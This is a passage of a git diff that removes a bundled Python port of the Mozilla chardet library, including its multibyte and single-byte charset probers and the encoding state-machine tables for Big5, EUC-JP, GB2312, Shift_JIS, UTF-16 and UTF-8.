self._mFreqCounter = [0] * FREQ_CAT_NUM - CharSetProber.reset(self) - - def get_charset_name(self): - return "windows-1252" - - def feed(self, aBuf): - aBuf = self.filter_with_english_letters(aBuf) - for c in aBuf: - charClass = Latin1_CharToClass[ord(c)] - freq = Latin1ClassModel[(self._mLastCharClass * CLASS_NUM) + charClass] - if freq == 0: - self._mState = constants.eNotMe - break - self._mFreqCounter[freq] += 1 - self._mLastCharClass = charClass - - return self.get_state() - - def get_confidence(self): - if self.get_state() == constants.eNotMe: - return 0.01 - - total = reduce(operator.add, self._mFreqCounter) - if total < 0.01: - confidence = 0.0 - else: - confidence = (self._mFreqCounter[3] / total) - (self._mFreqCounter[1] * 20.0 / total) - if confidence < 0.0: - confidence = 0.0 - # lower the confidence of latin1 so that other more accurate detector - # can take priority. - confidence = confidence * 0.5 - return confidence diff --git a/extra/chardet/mbcharsetprober.py b/extra/chardet/mbcharsetprober.py deleted file mode 100755 index 09b035e02b4..00000000000 --- a/extra/chardet/mbcharsetprober.py +++ /dev/null @@ -1,82 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 2001 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# Proofpoint, Inc. -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants, sys -from constants import eStart, eError, eItsMe -from charsetprober import CharSetProber - -class MultiByteCharSetProber(CharSetProber): - def __init__(self): - CharSetProber.__init__(self) - self._mDistributionAnalyzer = None - self._mCodingSM = None - self._mLastChar = ['\x00', '\x00'] - - def reset(self): - CharSetProber.reset(self) - if self._mCodingSM: - self._mCodingSM.reset() - if self._mDistributionAnalyzer: - self._mDistributionAnalyzer.reset() - self._mLastChar = ['\x00', '\x00'] - - def get_charset_name(self): - pass - - def feed(self, aBuf): - aLen = len(aBuf) - for i in xrange(0, aLen): - codingState = self._mCodingSM.next_state(aBuf[i]) - if codingState == eError: - if constants._debug: - sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') - self._mState = constants.eNotMe - break - elif codingState == eItsMe: - self._mState = constants.eFoundIt - break - elif codingState == eStart: - charLen = self._mCodingSM.get_current_charlen() - if i == 0: - self._mLastChar[1] = aBuf[0] - self._mDistributionAnalyzer.feed(self._mLastChar, charLen) - else: - self._mDistributionAnalyzer.feed(aBuf[i-1:i+1], charLen) - - self._mLastChar[0] = aBuf[aLen - 1] - - if self.get_state() == constants.eDetecting: - if self._mDistributionAnalyzer.got_enough_data() and \ - (self.get_confidence() > constants.SHORTCUT_THRESHOLD): - self._mState = constants.eFoundIt - - return self.get_state() - - def get_confidence(self): - return self._mDistributionAnalyzer.get_confidence() diff --git a/extra/chardet/mbcssm.py b/extra/chardet/mbcssm.py deleted file mode 100755 index 2b68306b0e4..00000000000 --- a/extra/chardet/mbcssm.py +++ /dev/null @@ -1,514 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is mozilla.org code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -from constants import eStart, eError, eItsMe - -# BIG5 - -BIG5_cls = ( \ - 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value - 1,1,1,1,1,1,0,0, # 08 - 0f - 1,1,1,1,1,1,1,1, # 10 - 17 - 1,1,1,0,1,1,1,1, # 18 - 1f - 1,1,1,1,1,1,1,1, # 20 - 27 - 1,1,1,1,1,1,1,1, # 28 - 2f - 1,1,1,1,1,1,1,1, # 30 - 37 - 1,1,1,1,1,1,1,1, # 38 - 3f - 2,2,2,2,2,2,2,2, # 40 - 47 - 2,2,2,2,2,2,2,2, # 48 - 4f - 2,2,2,2,2,2,2,2, # 50 - 57 - 2,2,2,2,2,2,2,2, # 58 - 5f - 2,2,2,2,2,2,2,2, # 60 - 67 - 2,2,2,2,2,2,2,2, # 68 - 6f - 2,2,2,2,2,2,2,2, # 70 - 77 - 2,2,2,2,2,2,2,1, # 78 - 7f - 4,4,4,4,4,4,4,4, # 80 - 87 - 4,4,4,4,4,4,4,4, # 88 - 8f - 4,4,4,4,4,4,4,4, # 90 - 97 - 4,4,4,4,4,4,4,4, # 98 - 9f - 4,3,3,3,3,3,3,3, # a0 - a7 - 3,3,3,3,3,3,3,3, # a8 - af - 3,3,3,3,3,3,3,3, # b0 - b7 - 3,3,3,3,3,3,3,3, # b8 - bf - 3,3,3,3,3,3,3,3, # c0 - c7 - 3,3,3,3,3,3,3,3, # c8 - cf - 3,3,3,3,3,3,3,3, # d0 - d7 - 3,3,3,3,3,3,3,3, # d8 - df - 3,3,3,3,3,3,3,3, # e0 - e7 - 3,3,3,3,3,3,3,3, # e8 - ef - 3,3,3,3,3,3,3,3, # f0 - f7 - 3,3,3,3,3,3,3,0) # f8 - ff - -BIG5_st = ( \ - eError,eStart,eStart, 3,eError,eError,eError,eError,#00-07 - eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,#08-0f - eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart)#10-17 - -Big5CharLenTable = (0, 1, 1, 2, 0) - -Big5SMModel = {'classTable': BIG5_cls, - 'classFactor': 5, - 'stateTable': BIG5_st, - 'charLenTable': Big5CharLenTable, - 'name': 'Big5'} - -# EUC-JP - -EUCJP_cls = ( \ - 4,4,4,4,4,4,4,4, # 00 - 07 - 4,4,4,4,4,4,5,5, # 08 - 0f - 4,4,4,4,4,4,4,4, # 10 - 17 - 4,4,4,5,4,4,4,4, # 18 - 1f - 4,4,4,4,4,4,4,4, # 20 - 27 - 4,4,4,4,4,4,4,4, # 28 - 2f - 4,4,4,4,4,4,4,4, # 30 - 37 - 4,4,4,4,4,4,4,4, # 38 - 3f - 4,4,4,4,4,4,4,4, # 40 - 47 - 4,4,4,4,4,4,4,4, # 48 - 4f - 4,4,4,4,4,4,4,4, # 50 - 57 - 4,4,4,4,4,4,4,4, # 58 - 5f - 4,4,4,4,4,4,4,4, # 60 - 67 - 4,4,4,4,4,4,4,4, # 68 - 6f - 4,4,4,4,4,4,4,4, # 70 - 77 - 4,4,4,4,4,4,4,4, # 78 - 7f - 5,5,5,5,5,5,5,5, # 80 - 87 - 5,5,5,5,5,5,1,3, # 88 - 8f - 5,5,5,5,5,5,5,5, # 90 - 97 - 5,5,5,5,5,5,5,5, # 98 - 9f - 5,2,2,2,2,2,2,2, # a0 - a7 - 2,2,2,2,2,2,2,2, # a8 - af - 2,2,2,2,2,2,2,2, # b0 - b7 - 2,2,2,2,2,2,2,2, # b8 - bf - 2,2,2,2,2,2,2,2, # c0 - c7 - 2,2,2,2,2,2,2,2, # c8 - cf - 2,2,2,2,2,2,2,2, # d0 - d7 - 2,2,2,2,2,2,2,2, # d8 - df - 0,0,0,0,0,0,0,0, # e0 - e7 - 0,0,0,0,0,0,0,0, # e8 - ef - 0,0,0,0,0,0,0,0, # f0 - f7 - 0,0,0,0,0,0,0,5) # f8 - ff - -EUCJP_st = ( \ - 3, 4, 3, 5,eStart,eError,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eStart,eError,eStart,eError,eError,eError,#10-17 - eError,eError,eStart,eError,eError,eError, 3,eError,#18-1f - 3,eError,eError,eError,eStart,eStart,eStart,eStart)#20-27 - -EUCJPCharLenTable = (2, 2, 2, 3, 1, 0) - -EUCJPSMModel = {'classTable': EUCJP_cls, - 'classFactor': 6, - 'stateTable': EUCJP_st, - 'charLenTable': EUCJPCharLenTable, - 'name': 'EUC-JP'} - -# EUC-KR - -EUCKR_cls = ( \ - 1,1,1,1,1,1,1,1, # 00 - 07 - 1,1,1,1,1,1,0,0, # 08 - 0f - 1,1,1,1,1,1,1,1, # 10 - 17 - 1,1,1,0,1,1,1,1, # 18 - 1f - 1,1,1,1,1,1,1,1, # 20 - 27 - 1,1,1,1,1,1,1,1, # 28 - 2f - 1,1,1,1,1,1,1,1, # 30 - 37 - 1,1,1,1,1,1,1,1, # 38 - 3f - 1,1,1,1,1,1,1,1, # 40 - 47 - 1,1,1,1,1,1,1,1, # 48 - 4f - 1,1,1,1,1,1,1,1, # 50 - 57 - 1,1,1,1,1,1,1,1, # 58 - 5f - 1,1,1,1,1,1,1,1, # 60 - 67 - 1,1,1,1,1,1,1,1, # 68 - 6f - 1,1,1,1,1,1,1,1, # 70 - 77 - 1,1,1,1,1,1,1,1, # 78 - 7f - 0,0,0,0,0,0,0,0, # 80 - 87 - 0,0,0,0,0,0,0,0, # 88 - 8f - 0,0,0,0,0,0,0,0, # 90 - 97 - 0,0,0,0,0,0,0,0, # 98 - 9f - 0,2,2,2,2,2,2,2, # a0 - a7 - 2,2,2,2,2,3,3,3, # a8 - af - 2,2,2,2,2,2,2,2, # b0 - b7 - 2,2,2,2,2,2,2,2, # b8 - bf - 2,2,2,2,2,2,2,2, # c0 - c7 - 2,3,2,2,2,2,2,2, # c8 - cf - 2,2,2,2,2,2,2,2, # d0 - d7 - 2,2,2,2,2,2,2,2, # d8 - df - 2,2,2,2,2,2,2,2, # e0 - e7 - 2,2,2,2,2,2,2,2, # e8 - ef - 2,2,2,2,2,2,2,2, # f0 - f7 - 2,2,2,2,2,2,2,0) # f8 - ff - -EUCKR_st = ( - eError,eStart, 3,eError,eError,eError,eError,eError,#00-07 - eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,eStart)#08-0f - -EUCKRCharLenTable = (0, 1, 2, 0) - -EUCKRSMModel = {'classTable': EUCKR_cls, - 'classFactor': 4, - 'stateTable': EUCKR_st, - 'charLenTable': EUCKRCharLenTable, - 'name': 'EUC-KR'} - -# EUC-TW - -EUCTW_cls = ( \ - 2,2,2,2,2,2,2,2, # 00 - 07 - 2,2,2,2,2,2,0,0, # 08 - 0f - 2,2,2,2,2,2,2,2, # 10 - 17 - 2,2,2,0,2,2,2,2, # 18 - 1f - 2,2,2,2,2,2,2,2, # 20 - 27 - 2,2,2,2,2,2,2,2, # 28 - 2f - 2,2,2,2,2,2,2,2, # 30 - 37 - 2,2,2,2,2,2,2,2, # 38 - 3f - 2,2,2,2,2,2,2,2, # 40 - 47 - 2,2,2,2,2,2,2,2, # 48 - 4f - 2,2,2,2,2,2,2,2, # 50 - 57 - 2,2,2,2,2,2,2,2, # 58 - 5f - 2,2,2,2,2,2,2,2, # 60 - 67 - 2,2,2,2,2,2,2,2, # 68 - 6f - 2,2,2,2,2,2,2,2, # 70 - 77 - 2,2,2,2,2,2,2,2, # 78 - 7f - 0,0,0,0,0,0,0,0, # 80 - 87 - 0,0,0,0,0,0,6,0, # 88 - 8f - 0,0,0,0,0,0,0,0, # 90 - 97 - 0,0,0,0,0,0,0,0, # 98 - 9f - 0,3,4,4,4,4,4,4, # a0 - a7 - 5,5,1,1,1,1,1,1, # a8 - af - 1,1,1,1,1,1,1,1, # b0 - b7 - 1,1,1,1,1,1,1,1, # b8 - bf - 1,1,3,1,3,3,3,3, # c0 - c7 - 3,3,3,3,3,3,3,3, # c8 - cf - 3,3,3,3,3,3,3,3, # d0 - d7 - 3,3,3,3,3,3,3,3, # d8 - df - 3,3,3,3,3,3,3,3, # e0 - e7 - 3,3,3,3,3,3,3,3, # e8 - ef - 3,3,3,3,3,3,3,3, # f0 - f7 - 3,3,3,3,3,3,3,0) # f8 - ff - -EUCTW_st = ( \ - eError,eError,eStart, 3, 3, 3, 4,eError,#00-07 - eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eStart,eError,#10-17 - eStart,eStart,eStart,eError,eError,eError,eError,eError,#18-1f - 5,eError,eError,eError,eStart,eError,eStart,eStart,#20-27 - eStart,eError,eStart,eStart,eStart,eStart,eStart,eStart)#28-2f - -EUCTWCharLenTable = (0, 0, 1, 2, 2, 2, 3) - -EUCTWSMModel = {'classTable': EUCTW_cls, - 'classFactor': 7, - 'stateTable': EUCTW_st, - 'charLenTable': EUCTWCharLenTable, - 'name': 'x-euc-tw'} - -# GB2312 - -GB2312_cls = ( \ - 1,1,1,1,1,1,1,1, # 00 - 07 - 1,1,1,1,1,1,0,0, # 08 - 0f - 1,1,1,1,1,1,1,1, # 10 - 17 - 1,1,1,0,1,1,1,1, # 18 - 1f - 1,1,1,1,1,1,1,1, # 20 - 27 - 1,1,1,1,1,1,1,1, # 28 - 2f - 3,3,3,3,3,3,3,3, # 30 - 37 - 3,3,1,1,1,1,1,1, # 38 - 3f - 2,2,2,2,2,2,2,2, # 40 - 47 - 2,2,2,2,2,2,2,2, # 48 - 4f - 2,2,2,2,2,2,2,2, # 50 - 57 - 2,2,2,2,2,2,2,2, # 58 - 5f - 2,2,2,2,2,2,2,2, # 60 - 67 - 2,2,2,2,2,2,2,2, # 68 - 6f - 2,2,2,2,2,2,2,2, # 70 - 77 - 2,2,2,2,2,2,2,4, # 78 - 7f - 5,6,6,6,6,6,6,6, # 80 - 87 - 6,6,6,6,6,6,6,6, # 88 - 8f - 6,6,6,6,6,6,6,6, # 90 - 97 - 6,6,6,6,6,6,6,6, # 98 - 9f - 6,6,6,6,6,6,6,6, # a0 - a7 - 6,6,6,6,6,6,6,6, # a8 - af - 6,6,6,6,6,6,6,6, # b0 - b7 - 6,6,6,6,6,6,6,6, # b8 - bf - 6,6,6,6,6,6,6,6, # c0 - c7 - 6,6,6,6,6,6,6,6, # c8 - cf - 6,6,6,6,6,6,6,6, # d0 - d7 - 6,6,6,6,6,6,6,6, # d8 - df - 6,6,6,6,6,6,6,6, # e0 - e7 - 6,6,6,6,6,6,6,6, # e8 - ef - 6,6,6,6,6,6,6,6, # f0 - f7 - 6,6,6,6,6,6,6,0) # f8 - ff - -GB2312_st = ( \ - eError,eStart,eStart,eStart,eStart,eStart, 3,eError,#00-07 - eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,#10-17 - 4,eError,eStart,eStart,eError,eError,eError,eError,#18-1f - eError,eError, 5,eError,eError,eError,eItsMe,eError,#20-27 - eError,eError,eStart,eStart,eStart,eStart,eStart,eStart)#28-2f - -# To be accurate, the length of class 6 can be either 2 or 4. -# But it is not necessary to discriminate between the two since -# it is used for frequency analysis only, and we are validing -# each code range there as well. So it is safe to set it to be -# 2 here. -GB2312CharLenTable = (0, 1, 1, 1, 1, 1, 2) - -GB2312SMModel = {'classTable': GB2312_cls, - 'classFactor': 7, - 'stateTable': GB2312_st, - 'charLenTable': GB2312CharLenTable, - 'name': 'GB2312'} - -# Shift_JIS - -SJIS_cls = ( \ - 1,1,1,1,1,1,1,1, # 00 - 07 - 1,1,1,1,1,1,0,0, # 08 - 0f - 1,1,1,1,1,1,1,1, # 10 - 17 - 1,1,1,0,1,1,1,1, # 18 - 1f - 1,1,1,1,1,1,1,1, # 20 - 27 - 1,1,1,1,1,1,1,1, # 28 - 2f - 1,1,1,1,1,1,1,1, # 30 - 37 - 1,1,1,1,1,1,1,1, # 38 - 3f - 2,2,2,2,2,2,2,2, # 40 - 47 - 2,2,2,2,2,2,2,2, # 48 - 4f - 2,2,2,2,2,2,2,2, # 50 - 57 - 2,2,2,2,2,2,2,2, # 58 - 5f - 2,2,2,2,2,2,2,2, # 60 - 67 - 2,2,2,2,2,2,2,2, # 68 - 6f - 2,2,2,2,2,2,2,2, # 70 - 77 - 2,2,2,2,2,2,2,1, # 78 - 7f - 3,3,3,3,3,3,3,3, # 80 - 87 - 3,3,3,3,3,3,3,3, # 88 - 8f - 3,3,3,3,3,3,3,3, # 90 - 97 - 3,3,3,3,3,3,3,3, # 98 - 9f - #0xa0 is illegal in sjis encoding, but some pages does - #contain such byte. We need to be more error forgiven. - 2,2,2,2,2,2,2,2, # a0 - a7 - 2,2,2,2,2,2,2,2, # a8 - af - 2,2,2,2,2,2,2,2, # b0 - b7 - 2,2,2,2,2,2,2,2, # b8 - bf - 2,2,2,2,2,2,2,2, # c0 - c7 - 2,2,2,2,2,2,2,2, # c8 - cf - 2,2,2,2,2,2,2,2, # d0 - d7 - 2,2,2,2,2,2,2,2, # d8 - df - 3,3,3,3,3,3,3,3, # e0 - e7 - 3,3,3,3,3,4,4,4, # e8 - ef - 4,4,4,4,4,4,4,4, # f0 - f7 - 4,4,4,4,4,0,0,0) # f8 - ff - -SJIS_st = ( \ - eError,eStart,eStart, 3,eError,eError,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eError,eError,eStart,eStart,eStart,eStart)#10-17 - -SJISCharLenTable = (0, 1, 1, 2, 0, 0) - -SJISSMModel = {'classTable': SJIS_cls, - 'classFactor': 6, - 'stateTable': SJIS_st, - 'charLenTable': SJISCharLenTable, - 'name': 'Shift_JIS'} - -# UCS2-BE - -UCS2BE_cls = ( \ - 0,0,0,0,0,0,0,0, # 00 - 07 - 0,0,1,0,0,2,0,0, # 08 - 0f - 0,0,0,0,0,0,0,0, # 10 - 17 - 0,0,0,3,0,0,0,0, # 18 - 1f - 0,0,0,0,0,0,0,0, # 20 - 27 - 0,3,3,3,3,3,0,0, # 28 - 2f - 0,0,0,0,0,0,0,0, # 30 - 37 - 0,0,0,0,0,0,0,0, # 38 - 3f - 0,0,0,0,0,0,0,0, # 40 - 47 - 0,0,0,0,0,0,0,0, # 48 - 4f - 0,0,0,0,0,0,0,0, # 50 - 57 - 0,0,0,0,0,0,0,0, # 58 - 5f - 0,0,0,0,0,0,0,0, # 60 - 67 - 0,0,0,0,0,0,0,0, # 68 - 6f - 0,0,0,0,0,0,0,0, # 70 - 77 - 0,0,0,0,0,0,0,0, # 78 - 7f - 0,0,0,0,0,0,0,0, # 80 - 87 - 0,0,0,0,0,0,0,0, # 88 - 8f - 0,0,0,0,0,0,0,0, # 90 - 97 - 0,0,0,0,0,0,0,0, # 98 - 9f - 0,0,0,0,0,0,0,0, # a0 - a7 - 0,0,0,0,0,0,0,0, # a8 - af - 0,0,0,0,0,0,0,0, # b0 - b7 - 0,0,0,0,0,0,0,0, # b8 - bf - 0,0,0,0,0,0,0,0, # c0 - c7 - 0,0,0,0,0,0,0,0, # c8 - cf - 0,0,0,0,0,0,0,0, # d0 - d7 - 0,0,0,0,0,0,0,0, # d8 - df - 0,0,0,0,0,0,0,0, # e0 - e7 - 0,0,0,0,0,0,0,0, # e8 - ef - 0,0,0,0,0,0,0,0, # f0 - f7 - 0,0,0,0,0,0,4,5) # f8 - ff - -UCS2BE_st = ( \ - 5, 7, 7,eError, 4, 3,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe, 6, 6, 6, 6,eError,eError,#10-17 - 6, 6, 6, 6, 6,eItsMe, 6, 6,#18-1f - 6, 6, 6, 6, 5, 7, 7,eError,#20-27 - 5, 8, 6, 6,eError, 6, 6, 6,#28-2f - 6, 6, 6, 6,eError,eError,eStart,eStart)#30-37 - -UCS2BECharLenTable = (2, 2, 2, 0, 2, 2) - -UCS2BESMModel = {'classTable': UCS2BE_cls, - 'classFactor': 6, - 'stateTable': UCS2BE_st, - 'charLenTable': UCS2BECharLenTable, - 'name': 'UTF-16BE'} - -# UCS2-LE - -UCS2LE_cls = ( \ - 0,0,0,0,0,0,0,0, # 00 - 07 - 0,0,1,0,0,2,0,0, # 08 - 0f - 0,0,0,0,0,0,0,0, # 10 - 17 - 0,0,0,3,0,0,0,0, # 18 - 1f - 0,0,0,0,0,0,0,0, # 20 - 27 - 0,3,3,3,3,3,0,0, # 28 - 2f - 0,0,0,0,0,0,0,0, # 30 - 37 - 0,0,0,0,0,0,0,0, # 38 - 3f - 0,0,0,0,0,0,0,0, # 40 - 47 - 0,0,0,0,0,0,0,0, # 48 - 4f - 0,0,0,0,0,0,0,0, # 50 - 57 - 0,0,0,0,0,0,0,0, # 58 - 5f - 0,0,0,0,0,0,0,0, # 60 - 67 - 0,0,0,0,0,0,0,0, # 68 - 6f - 0,0,0,0,0,0,0,0, # 70 - 77 - 0,0,0,0,0,0,0,0, # 78 - 7f - 0,0,0,0,0,0,0,0, # 80 - 87 - 0,0,0,0,0,0,0,0, # 88 - 8f - 0,0,0,0,0,0,0,0, # 90 - 97 - 0,0,0,0,0,0,0,0, # 98 - 9f - 0,0,0,0,0,0,0,0, # a0 - a7 - 0,0,0,0,0,0,0,0, # a8 - af - 0,0,0,0,0,0,0,0, # b0 - b7 - 0,0,0,0,0,0,0,0, # b8 - bf - 0,0,0,0,0,0,0,0, # c0 - c7 - 0,0,0,0,0,0,0,0, # c8 - cf - 0,0,0,0,0,0,0,0, # d0 - d7 - 0,0,0,0,0,0,0,0, # d8 - df - 0,0,0,0,0,0,0,0, # e0 - e7 - 0,0,0,0,0,0,0,0, # e8 - ef - 0,0,0,0,0,0,0,0, # f0 - f7 - 0,0,0,0,0,0,4,5) # f8 - ff - -UCS2LE_st = ( \ - 6, 6, 7, 6, 4, 3,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe, 5, 5, 5,eError,eItsMe,eError,#10-17 - 5, 5, 5,eError, 5,eError, 6, 6,#18-1f - 7, 6, 8, 8, 5, 5, 5,eError,#20-27 - 5, 5, 5,eError,eError,eError, 5, 5,#28-2f - 5, 5, 5,eError, 5,eError,eStart,eStart)#30-37 - -UCS2LECharLenTable = (2, 2, 2, 2, 2, 2) - -UCS2LESMModel = {'classTable': UCS2LE_cls, - 'classFactor': 6, - 'stateTable': UCS2LE_st, - 'charLenTable': UCS2LECharLenTable, - 'name': 'UTF-16LE'} - -# UTF-8 - -UTF8_cls = ( \ - 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value - 1,1,1,1,1,1,0,0, # 08 - 0f - 1,1,1,1,1,1,1,1, # 10 - 17 - 1,1,1,0,1,1,1,1, # 18 - 1f - 1,1,1,1,1,1,1,1, # 20 - 27 - 1,1,1,1,1,1,1,1, # 28 - 2f - 1,1,1,1,1,1,1,1, # 30 - 37 - 1,1,1,1,1,1,1,1, # 38 - 3f - 1,1,1,1,1,1,1,1, # 40 - 47 - 1,1,1,1,1,1,1,1, # 48 - 4f - 1,1,1,1,1,1,1,1, # 50 - 57 - 1,1,1,1,1,1,1,1, # 58 - 5f - 1,1,1,1,1,1,1,1, # 60 - 67 - 1,1,1,1,1,1,1,1, # 68 - 6f - 1,1,1,1,1,1,1,1, # 70 - 77 - 1,1,1,1,1,1,1,1, # 78 - 7f - 2,2,2,2,3,3,3,3, # 80 - 87 - 4,4,4,4,4,4,4,4, # 88 - 8f - 4,4,4,4,4,4,4,4, # 90 - 97 - 4,4,4,4,4,4,4,4, # 98 - 9f - 5,5,5,5,5,5,5,5, # a0 - a7 - 5,5,5,5,5,5,5,5, # a8 - af - 5,5,5,5,5,5,5,5, # b0 - b7 - 5,5,5,5,5,5,5,5, # b8 - bf - 0,0,6,6,6,6,6,6, # c0 - c7 - 6,6,6,6,6,6,6,6, # c8 - cf - 6,6,6,6,6,6,6,6, # d0 - d7 - 6,6,6,6,6,6,6,6, # d8 - df - 7,8,8,8,8,8,8,8, # e0 - e7 - 8,8,8,8,8,9,8,8, # e8 - ef - 10,11,11,11,11,11,11,11, # f0 - f7 - 12,13,13,13,14,15,0,0) # f8 - ff - -UTF8_st = ( \ - eError,eStart,eError,eError,eError,eError, 12, 10,#00-07 - 9, 11, 8, 7, 6, 5, 4, 3,#08-0f - eError,eError,eError,eError,eError,eError,eError,eError,#10-17 - eError,eError,eError,eError,eError,eError,eError,eError,#18-1f - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,#20-27 - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,#28-2f - eError,eError, 5, 5, 5, 5,eError,eError,#30-37 - eError,eError,eError,eError,eError,eError,eError,eError,#38-3f - eError,eError,eError, 5, 5, 5,eError,eError,#40-47 - eError,eError,eError,eError,eError,eError,eError,eError,#48-4f - eError,eError, 7, 7, 7, 7,eError,eError,#50-57 - eError,eError,eError,eError,eError,eError,eError,eError,#58-5f - eError,eError,eError,eError, 7, 7,eError,eError,#60-67 - eError,eError,eError,eError,eError,eError,eError,eError,#68-6f - eError,eError, 9, 9, 9, 9,eError,eError,#70-77 - eError,eError,eError,eError,eError,eError,eError,eError,#78-7f - eError,eError,eError,eError,eError, 9,eError,eError,#80-87 - eError,eError,eError,eError,eError,eError,eError,eError,#88-8f - eError,eError, 12, 12, 12, 12,eError,eError,#90-97 - eError,eError,eError,eError,eError,eError,eError,eError,#98-9f - eError,eError,eError,eError,eError, 12,eError,eError,#a0-a7 - eError,eError,eError,eError,eError,eError,eError,eError,#a8-af - eError,eError, 12, 12, 12,eError,eError,eError,#b0-b7 - eError,eError,eError,eError,eError,eError,eError,eError,#b8-bf - eError,eError,eStart,eStart,eStart,eStart,eError,eError,#c0-c7 - eError,eError,eError,eError,eError,eError,eError,eError)#c8-cf - -UTF8CharLenTable = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) - -UTF8SMModel = {'classTable': UTF8_cls, - 'classFactor': 16, - 'stateTable': UTF8_st, - 'charLenTable': UTF8CharLenTable, - 'name': 'UTF-8'} diff --git a/extra/chardet/sbcharsetprober.py b/extra/chardet/sbcharsetprober.py deleted file mode 100755 index f92fc14c837..00000000000 --- a/extra/chardet/sbcharsetprober.py +++ /dev/null @@ -1,106 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 2001 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants, sys -from charsetprober import CharSetProber - -SAMPLE_SIZE = 64 -SB_ENOUGH_REL_THRESHOLD = 1024 -POSITIVE_SHORTCUT_THRESHOLD = 0.95 -NEGATIVE_SHORTCUT_THRESHOLD = 0.05 -SYMBOL_CAT_ORDER = 250 -NUMBER_OF_SEQ_CAT = 4 -POSITIVE_CAT = NUMBER_OF_SEQ_CAT - 1 -#NEGATIVE_CAT = 0 - -class SingleByteCharSetProber(CharSetProber): - def __init__(self, model, reversed=constants.False, nameProber=None): - CharSetProber.__init__(self) - self._mModel = model - self._mReversed = reversed # TRUE if we need to reverse every pair in the model lookup - self._mNameProber = nameProber # Optional auxiliary prober for name decision - self.reset() - - def reset(self): - CharSetProber.reset(self) - self._mLastOrder = 255 # char order of last character - self._mSeqCounters = [0] * NUMBER_OF_SEQ_CAT - self._mTotalSeqs = 0 - self._mTotalChar = 0 - self._mFreqChar = 0 # characters that fall in our sampling range - - def get_charset_name(self): - if self._mNameProber: - return self._mNameProber.get_charset_name() - else: - return self._mModel['charsetName'] - - def feed(self, aBuf): - if not self._mModel['keepEnglishLetter']: - aBuf = self.filter_without_english_letters(aBuf) - aLen = len(aBuf) - if not aLen: - return self.get_state() - for c in aBuf: - order = self._mModel['charToOrderMap'][ord(c)] - if order < SYMBOL_CAT_ORDER: - self._mTotalChar += 1 - if order < SAMPLE_SIZE: - self._mFreqChar += 1 - if self._mLastOrder < SAMPLE_SIZE: - self._mTotalSeqs += 1 - if not self._mReversed: - self._mSeqCounters[self._mModel['precedenceMatrix'][(self._mLastOrder * SAMPLE_SIZE) + order]] += 1 - else: # reverse the order of the letters in the lookup - self._mSeqCounters[self._mModel['precedenceMatrix'][(order * SAMPLE_SIZE) + self._mLastOrder]] += 1 - self._mLastOrder = order - - if self.get_state() == constants.eDetecting: - if self._mTotalSeqs > 